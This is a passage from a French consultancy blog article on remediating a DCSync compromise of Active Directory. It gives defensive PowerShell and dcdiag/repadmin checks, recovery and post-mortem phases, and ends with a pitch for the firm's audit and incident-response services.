$_.IdentityReference -notlike "*Domain Admins*" -and
$_.IdentityReference -notlike "*Domain Controllers*"
}
Scheduled Tasks suspectes sur DCs
Get-ScheduledTask | Where-Object {$_.TaskPath -notlike "\Microsoft\*"}
Révocation des certificats compromis
: Si ADCS est déployé
Sur l'Autorité de Certification
certutil -revoke [serial_number] 0
Phase 4 : Recovery (Récupération)
Objectif
: Restaurer les opérations normales de manière sécurisée.
Validation de l'intégrité AD
:
Vérification réplication
repadmin /replsummary repadmin /showrepl
Vérification intégrité base AD
dcdiag /v /c
Vérification SYSVOL
dcdiag /test:sysvolcheck /test:frssysvol
Restauration depuis backup propre
(si compromission profonde) :
Identifier un backup antérieur à la date de compromission
Effectuer une restauration authoritative du domaine
Documentation Microsoft :
AD Forest Recovery Guide
Reconnexion progressive des systèmes
: Réintégrer les machines au réseau de manière contrôlée
Surveillance renforcée post-incident
: Maintenir une vigilance accrue pendant 90 jours minimum
Communication avec les utilisateurs
: Informer sur la réinitialisation des mots de passe et les mesures de sécurité
Phase 5 : Lessons Learned et Amélioration
Après la récupération, effectuez une analyse post-mortem approfondie :
Timeline détaillée de l'incident
: Du vecteur d'entrée initial à la détection finale
Root cause analysis
: Comment l'attaquant a-t-il obtenu les droits de réplication ?
Gaps de détection
: Pourquoi le DCSync n'a-t-il pas été détecté plus tôt ?
Efficacité des contremesures
: Quelles défenses ont fonctionné ? Lesquelles ont échoué ?
Plan d'amélioration
:
Corrections techniques (SACL audit, SIEM rules, Defender for Identity)
Corrections organisationnelles (processus, formation, sensibilisation)
Mise à jour du plan de réponse incident
Tests de validation
: Purple Team exercises pour confirmer que les gaps sont comblés
Processus de Remédiation DCSync (5 Phases)
1. Containment
Désactiver compte
Révoquer sessions
Isoler systèmes
Activer logs
⏱ 1-4h
- Évaluation
Analyser logs
Identifier cibles
Chercher backdoors
Forensics
⏱ 4-12h
3. Eradication
Rotation KRBTGT x2
Reset passwords
Réimager machines
Suppr backdoors
⏱ 12-48h
4. Recovery
Valider intégrité AD
Restore si besoin
Reconnexion prog.
Monitoring accru
⏱ 2-7j
5. Lessons Learned
Post-mortem
Root cause analysis
Gaps détection
Plan amélioration
Tests Purple Team
⏱ 1-2 sem.
Timeline totale : 3-10 jours (variable selon étendue compromission)
© Ayi NEDJIMI Consultants - https://www.ayinedjimi-consultants.fr
Quand Faire Appel à un Expert Externe ?
Dans les situations suivantes, il est fortement recommandé de faire appel à un cabinet spécialisé en réponse à incident AD :
Compromission extensive
: DCSync de tous les comptes, multiples backdoors
Hash KRBTGT exfiltré
: Risque de Golden Tickets actifs
Doute sur l'intégrité de la forêt
: Suspicion de modifications profondes d'AD
Manque d'expertise interne
: Équipe IT sans expérience de ce type d'incident
Besoins forensiques
: Investigation approfondie pour déterminer l'étendue exacte
Contexte réglementaire
: Secteurs régulés (santé, finance, OIV) nécessitant un rapport d'incident certifié
Assurance cyber
: De nombreuses polices exigent l'intervention d'experts certifiés
Nos services de
réponse à incident et forensics Active Directory
incluent :
Investigation forensique complète de la compromission DCSync
Identification précise des données exfiltrées
Assistance à la remédiation et récupération sécurisée
Rapport détaillé pour direction, assurances et autorités
Recommandations de durcissement post-incident
Retainer disponible pour intervention 24/7
Conclusion
L'attaque
DCSync
représente l'une des techniques d'exfiltration les plus efficaces et furtives dans l'arsenal des attaquants ciblant Active Directory. Sa capacité à exploiter un mécanisme légitime de réplication, combinée à la difficulté de sa détection sans configuration d'audit appropriée, en fait une menace de premier ordre en 2025.
Cependant, comme nous l'avons vu dans ce guide, des défenses robustes existent :
Le principe du moindre privilège
appliqué aux droits de réplication est fondamental
L'audit SACL correctement configuré
(Event ID 4662) permet la détection en temps réel
L'architecture Tiered
limite drastiquement l'exposition des comptes privilégiés
Les solutions spécialisées
(Defender for Identity) offrent une protection avancée
La surveillance continue
avec SIEM et corrélation comportementale détecte les anomalies
La sécurité Active Directory ne peut plus être une réflexion après-coup. Avec la sophistication croissante des attaquants APT et ransomware, une approche proactive et structurée est indispensable. DCSync n'est qu'une technique parmi d'autres, mais son impact potentiel justifie une attention particulière.
Prochaines Étapes Recommandées
Audit immédiat des permissions de réplication
: Identifiez qui dispose de ces droits critiques
Configuration de l'audit SACL
: Activez Event ID 4662 sur l'objet domaine
Implémentation des règles SIEM
: Déployez les règles de détection DCSync
Évaluation de Defender for Identity
: Si pas encore déployé, planifiez un POC
Test Purple Team
: Validez vos capacités de détection avec une simulation contrôlée
Formation des équipes
: Assurez-vous que vos équipes IT et SOC comprennent DCSync
Articles Connexes
Pour approfondir vos connaissances sur les attaques Active Directory et les stratégies de défense :
Top 10 des Attaques Active Directory en 2025
Golden Ticket : Persistance Ultime dans Active Directory
Kerberoasting : Extraction et Crack des TGS
Silver Ticket : Forgery de Tickets de Service
Guide Complet de Sécurisation Active Directory 2025
Nos Services d'Audit Active Directory
Protégez votre Active Directory contre DCSync dès Aujourd'hui
Ne laissez pas les attaquants exfiltrer l'intégralité de vos secrets AD. Nos experts réalisent des audits de sécurité complets avec focus sur les droits de réplication et vous accompagnent dans l'implémentation d'une défense en profondeur contre DCSync et autres menaces avancées.
Demander un Audit Sécurité
Nos Formations AD
← Article précédent : Golden Ticket
Article suivant : Kerberoasting →
$DomainDN = (Get-ADDomain).DistinguishedName
$Acl = Get-Acl "AD:\$DomainDN"
$Acl.Access | Where-Object {
$_.IdentityReference -notlike "*Domain Admins*" -and
$_.IdentityReference -notlike "*Domain Controllers*"
}
Articles connexes
Skeleton Key Malware Active
Analyse technique du malware Skeleton Key qui backdoor les contrôleurs de domaine. Méthodes de détection et procédures de remédiation.
SIDHistory Injection Active Directory
Exploitation de sIDHistory pour escalade de privilèges cross-domain. Détection, prévention et remédiation. SIDHistory Injection Active Directory : Attaque
GPO Abuse Active Directory
Exploitation malveillante des Group Policy Objects. Techniques d GPO Abuse Active Directory : Persistance et Défense 2025. Expert en cybersécurité et intel